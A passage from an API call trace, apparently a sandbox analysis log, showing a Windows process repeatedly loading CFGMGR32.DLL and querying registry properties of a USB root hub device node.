0x7ffa786cacf0 [0218.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.256] malloc (_Size=0x18) returned 0x196ef0d1a80 [0218.256] CM_Get_Device_IDA (in: dnDevInst=0xf, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\ROOT_HUB\\4&B24102A&0") returned 0x0 [0218.256] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0218.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x62f2701a, dwHighDateTime=0x1d9eb0c)) [0218.256] SetEvent (hEvent=0x248) returned 1 [0218.260] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.260] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.263] malloc (_Size=0x18) returned 0x196ef0d1d60 [0218.264] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0218.264] malloc (_Size=0xa0) returned 0x196ef0fac60 [0218.264] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0fac60, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0fac60, pulLength=0x67117d608) returned 0x0 [0218.265] free (_Block=0x196ef0fac60) [0218.265] malloc (_Size=0x48) returned 0x196ef0fc080 [0218.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x62f2701a, dwHighDateTime=0x1d9eb0c)) [0218.265] SetEvent (hEvent=0x248) returned 1 [0218.269] malloc (_Size=0x18) returned 0x196ef0d19e0 [0218.269] SafeArrayPutElement (psa=0x196ef1f2cf0, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0218.269] free (_Block=0x196ef0d19e0) [0218.269] malloc (_Size=0x18) returned 0x196ef0d1be0 [0218.269] SafeArrayPutElement (psa=0x196ef1f2cf0, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0218.269] free (_Block=0x196ef0d1be0) [0218.269] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0218.269] SafeArrayPutElement (psa=0x196ef1f2cf0, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0218.269] free (_Block=0x196ef0d1ee0) [0218.270] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8561e0 [0218.270] SafeArrayGetDim (psa=0x196ef1f2cf0) returned 0x1 [0218.270] SafeArrayGetLBound (in: psa=0x196ef1f2cf0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0218.270] SafeArrayGetUBound (in: psa=0x196ef1f2cf0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0218.270] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa680 [0218.270] SafeArrayGetDim (psa=0x196ef1f2cf0) returned 0x1 [0218.270] SafeArrayGetUBound (in: psa=0x196ef1f2cf0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0218.270] SafeArrayGetElemsize (psa=0x196ef1f2cf0) returned 0x8 [0218.270] SafeArrayGetElement (in: psa=0x196ef1f2cf0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0218.271] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e930, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0218.271] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e938, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0218.271] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e940, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0218.272] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa680) returned 1 [0218.273] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8561e0) returned 1 [0218.273] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.273] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.277] malloc (_Size=0x18) returned 0x196ef0d1a40 [0218.277] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0218.277] malloc (_Size=0x48) returned 0x196ef0fbef0 [0218.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x62f4d97e, dwHighDateTime=0x1d9eb0c)) [0218.278] SetEvent (hEvent=0x248) returned 1 [0218.411] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.412] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.415] malloc (_Size=0x18) returned 0x196ef0d1f60 [0218.415] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0218.419] malloc (_Size=0x48) returned 0x196ef0fb720 [0218.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x630a478a, dwHighDateTime=0x1d9eb0c)) [0218.419] SetEvent (hEvent=0x248) returned 1 [0218.423] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.423] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.426] malloc (_Size=0x18) returned 0x196ef0d1e60 [0218.427] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0218.427] malloc (_Size=0x48) returned 0x196ef0fb7c0 [0218.427] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x630cabea, dwHighDateTime=0x1d9eb0c)) [0218.427] SetEvent (hEvent=0x248) returned 1 [0218.430] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.430] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.430] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.433] malloc (_Size=0x18) returned 0x196ef0d2020 [0218.434] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0218.434] malloc (_Size=0x48) returned 0x196ef0fb270 [0218.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x630cabea, dwHighDateTime=0x1d9eb0c)) [0218.434] SetEvent (hEvent=0x248) returned 1 [0218.437] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.437] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.437] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.439] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.439] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.439] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.439] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.441] malloc (_Size=0x18) returned 0x196ef0d19c0 [0218.441] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0218.441] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0218.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x630f0e9a, dwHighDateTime=0x1d9eb0c)) [0218.442] SetEvent (hEvent=0x248) returned 1 [0218.447] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0218.447] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0218.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0218.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0218.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0218.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0218.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0218.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0218.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0218.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0218.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0218.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0218.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0218.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0218.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0218.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0218.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0218.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0218.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0218.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0218.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0218.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0218.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0218.450] malloc (_Size=0x18) returned 0x196ef0d1de0 [0218.450] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, 